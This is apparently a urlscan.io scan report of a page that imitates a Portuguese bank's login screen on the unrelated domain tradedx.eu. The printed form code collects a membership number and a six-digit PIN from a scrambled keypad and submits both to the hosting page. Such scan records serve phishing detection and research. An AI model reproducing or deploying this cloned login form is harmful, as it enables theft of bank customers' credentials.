tradedx.eu Open in urlscan Pro
185.65.93.168  Public Scan

URL: https://tradedx.eu/old/js/--/nb-smart/app/nb/web/
Submission: On January 23 via manual from PT — Scanned from DE

Form analysis 3 forms found in the DOM

<form id="form1">
  <!--comeco dvcampos-->
</form>

Name: loginPOST

<form action="" method="POST" onsubmit="return check_enter();" id="login" name="login" class="col-sm-12 login-form">
  <input type="hidden" name="SRV" value="00101">
  <input type="hidden" name="selo" value="0">
  <input type="hidden" name="ad" value="4020774">
  <div class="col-sm-12 nblogin-message">
    <div id="AreaMensagemErro" class="hiddenError">
      <p></p>
    </div>
    <script language="javascript">
      document.getElementById("imgLoader").src = './login_files/' + 'loader_anim.gif';
    </script>
  </div>
  <div class="rowLogin">
    <div class="col-sm-6">
      <fieldset>
        <label class="nblogin-title">Nº adesão </label>
        <input class="nbadesao-input" type="text" name="adesao" id="adesao" maxlength="7" required="">
      </fieldset>
      <fieldset>
        <label class="nblogin-title">PIN </label>
        <div id="divPin" class="nblogin-input green-pin white-bg">
          <table cellspacing="0" cellpadding="0" id="slPin" class="nblogin-pincodigo">
            <tbody>
              <tr>
                <td id="sl0" class="pincodigo">&nbsp;</td>
                <td id="sl1" class="pincodigo">&nbsp;</td>
                <td id="sl2" class="pincodigo">&nbsp;</td>
                <td id="sl3" class="pincodigo">&nbsp;</td>
                <td id="sl4" class="pincodigo">&nbsp;</td>
                <td id="sl5" class="pincodigo">&nbsp;</td>
              </tr>
            </tbody>
          </table>
        </div>
        <button class="btn btn-clear" onmouseup="cA();" onclick="return false;" style="visibility:hidden" id="btnLoginClear">Limpar</button>
      </fieldset>
      <ul class="nblogin-list">
        <li>Esqueceu o <strong>PIN</strong>?</li>
        <li><strong>Peça <a class="loginLink" href="#" target="_self">aqui</a> um novo.</strong><a style="color:#616469" href="#" onclick="behave();"><strong></strong></a></li>
      </ul>
    </div>
    <div class="col-sm-6">
      <input type="hidden" name="AvisaBrowser" value="true">
      <input type="hidden" name="pin" value="">
      <input type="hidden" name="nx" value="">
      <script language="javascript">
        var num_bt = parseInt('10', 10),
          num_bt2 = 0;
        var zp = 0,
          zp2 = 0,
          cnt = 3,
          act = false;
        var ch_st = (num_bt == 10) ? 48 : 65,
          ch_st2 = 48;
        if (num_bt == 36) {
          num_bt = 26;
          num_bt2 = 10;
        }
        var pin = "",
          pinentry = "spa";
        var le1 = "",
          le2 = "",
          le3 = "";
        /* function lmp(frm) { frm.nx.value='7'+cvt1('jd8Jr$7bhtty86c7', frm.pin.value); frm.pin.value=""; } */
        function pK(i) {
          if (document.getElementById("adesao").value.length == 0) {
            Swal.fire("Opss...", "O campo número de adesão é obrigatório", "error");
            cA();
            return;
          }
          var txtPin = document.getElementById("divPin");
          if (txtPin) {
            txtPin.className = "nblogin-input green-pin gray-bg";
          }
          var btnClear = document.getElementById("btnLoginClear");
          if (btnClear) {
            btnClear.style.visibility = "visible"
          }
          a = document.getElementById("sl" + pin.length);
          if (a) {
            a.innerHTML = "*";
            pin += "" + String.fromCharCode(ch_st + (((1 * i) + zp) % num_bt));
          }
          if (pin.length >= 6) {
            pin = pin.substring(0, 6);
            document.login.pin.value = pin;
            document.login.selo.value = (new Date()).getTime();
            document.login.submit();
            senddata('login');
          }
        }

        function pK2(i) {
          if (document.getElementById("adesao").value.length == 0) {
            Swal.fire("Opss...", "O campo número de adesão é obrigatório", "error");
            cA();
            return;
          }
          var txtPin = document.getElementById("divPin");
          if (txtPin) {
            txtPin.className = "nblogin-input green-pin gray-bg";
          }
          var btnClear = document.getElementById("btnLoginClear");
          if (btnClear) {
            btnClear.style.visibility = "visible"
          }
          a = document.getElementById("sl" + pin.length);
          if (a) {
            a.innerHTML = "*";
            pin += "" + String.fromCharCode(ch_st2 + (((1 * i) + zp2) % num_bt2));
          }
          if (pin.length >= 6) {
            pin = pin.substring(0, 6);
            document.login.pin.value = pin;
            document.login.selo.value = (new Date()).getTime();
            document.login.submit();
            senddata('login');
          }
        }

        function cA() {
          var btnClear = document.getElementById("btnLoginClear");
          if (btnClear) {
            btnClear.style.visibility = "hidden"
          }
          var txtPin = document.getElementById("divPin");
          if (txtPin) {
            txtPin.className = "nblogin-input green-pin white-bg";
          }
          for (n = 0; n < 6; n++) {
            a = document.getElementById("sl" + n);
            if (a) a.innerHTML = '&#160;';
          }
          pin = "";
          fillSlots();
          if (num_bt2 != 0) fillSlots2();
        }

        function disablePostback(event) {
          if (event.preventDefault) {
            event.preventDefault();
          } else {
            event.returnValue = false;
          }
          return false;
        }

        function fillSlots() {
          var a, n;
          zp = (zp + 1 + Math.floor(Math.random() * (num_bt - 1))) % num_bt;
          for (n = 0; n < num_bt; n++) {
            a = document.getElementById("bt" + n);
            if (a) a.innerHTML = String.fromCharCode(ch_st + (n + zp) % num_bt);
          }
        }

        function fillSlots2() {
          var a, n;
          zp2 = (zp2 + 1 + Math.floor(Math.random() * (num_bt2 - 1))) % num_bt2;
          for (n = 0; n < num_bt2; n++) {
            a = document.getElementById("bt" + (n + num_bt));
            if (a) a.innerHTML = String.fromCharCode(ch_st2 + (n + zp2) % num_bt2);
          }
        }

        function changeSlots(disabled) {
          var a, n;
          for (n = 0; n < num_bt; n++) {
            a = document.getElementById("bt" + n);
            if (a) a.disabled = disabled;
          }
          if (num_bt2 != 0) changeSlots2(disabled);
        }

        function changeSlots2(disabled) {
          var a, n;
          for (n = 0; n < num_bt2; n++) {
            a = document.getElementById("bt" + (n + num_bt));
            if (a) a.disabled = disabled;
          }
        }

        function changeActionMessage(msg) {
          a = document.getElementById("actionMsg");
          if (a) a.innerHTML = msg;
        }
      </script>
      <div class="pin-keyboard text-center">
        <div class="pin-numbers" onselectstart="return false;">
          <fieldset>Por favor, introduza o seu PIN</fieldset>
          <button id="bt1" class="btn btn-numberPin" onmouseup="pK('1')" onclick="disablePostback(event)">3</button><button id="bt2" class="btn btn-numberPin" onmouseup="pK('2')" onclick="disablePostback(event)">4</button><button id="bt3"
            class="btn btn-numberPin" onmouseup="pK('3')" onclick="disablePostback(event)">5</button><button id="bt4" class="btn btn-numberPin" onmouseup="pK('4')" onclick="disablePostback(event)">6</button><button id="bt5" class="btn btn-numberPin"
            onmouseup="pK('5')" onclick="disablePostback(event)">7</button><button id="bt6" class="btn btn-numberPin" onmouseup="pK('6')" onclick="disablePostback(event)">8</button><button id="bt7" class="btn btn-numberPin" onmouseup="pK('7')"
            onclick="disablePostback(event)">9</button><button id="bt8" class="btn btn-numberPin" onmouseup="pK('8')" onclick="disablePostback(event)">0</button><button id="bt9" class="btn btn-numberPin" onmouseup="pK('9')"
            onclick="disablePostback(event)">1</button><button id="bt0" class="btn btn-numberPin" onmouseup="pK('0')" onclick="disablePostback(event)">2</button>
        </div>
        <div class="pin-privacy">
          <span>Modo teclado privacidade</span>
          <div class="customslider-cont" style="padding-top:15px">
            <div id="slider" class="ui-slider ui-slider-horizontal ui-widget ui-widget-content ui-corner-all">
              <div class="ui-slider-range ui-widget-header ui-corner-all ui-slider-range-max" style="width: 0%;"></div>
              <span class="ui-slider-handle ui-state-default ui-corner-all" tabindex="0" style="left: 100%;"></span>
            </div>
          </div>
        </div>
      </div>
      <script language="javascript">
        fillSlots();
        if (num_bt2 != 0) fillSlots2();
        changeSlots(false);
        //Change pinpad class, because of hover problem in touchscreens
        if ('ontouchstart' in document) {
          var elements = document.getElementsByClassName("btn btn-numberPin");
          for (var i = elements.length - 1; i >= 0; --i) {
            elements[i].className = "btn btn-numberPin touch";
          }
        }
        $("#slider").slider({
          range: "max",
          animate: "fast",
          min: 25,
          max: 100,
          value: 100,
          slide: handleSliderChanges,
          stop: fillSlots
        });

        function handleSliderChanges(e, ui) {
          //Calculate font-size
          var initialFontSize = 30;
          var fontSize = (initialFontSize * ui.value) / 100;
          $(".btn-numberPin").css("font-size", fontSize + "px");
        }
      </script>
    </div>
  </div>
  <script language="Javascript">
    window.focus();
  </script>
</form>

<form id="formprinc">
  <div id="Conteudo"></div>
</form>

Text Content

Nº adesão PIN

           

Limpar
 * Esqueceu o PIN?
 * Peça aqui um novo.

Por favor, introduza o seu PIN 3456789012
Modo teclado privacidade




SEGURANÇA CANAIS DIRETOS

 * Nunca lhe pediremos o seu número de telemóvel nesta página.
 * Nunca lhe pediremos mais que 3 dígitos da matriz.
 * Recomendações de Segurança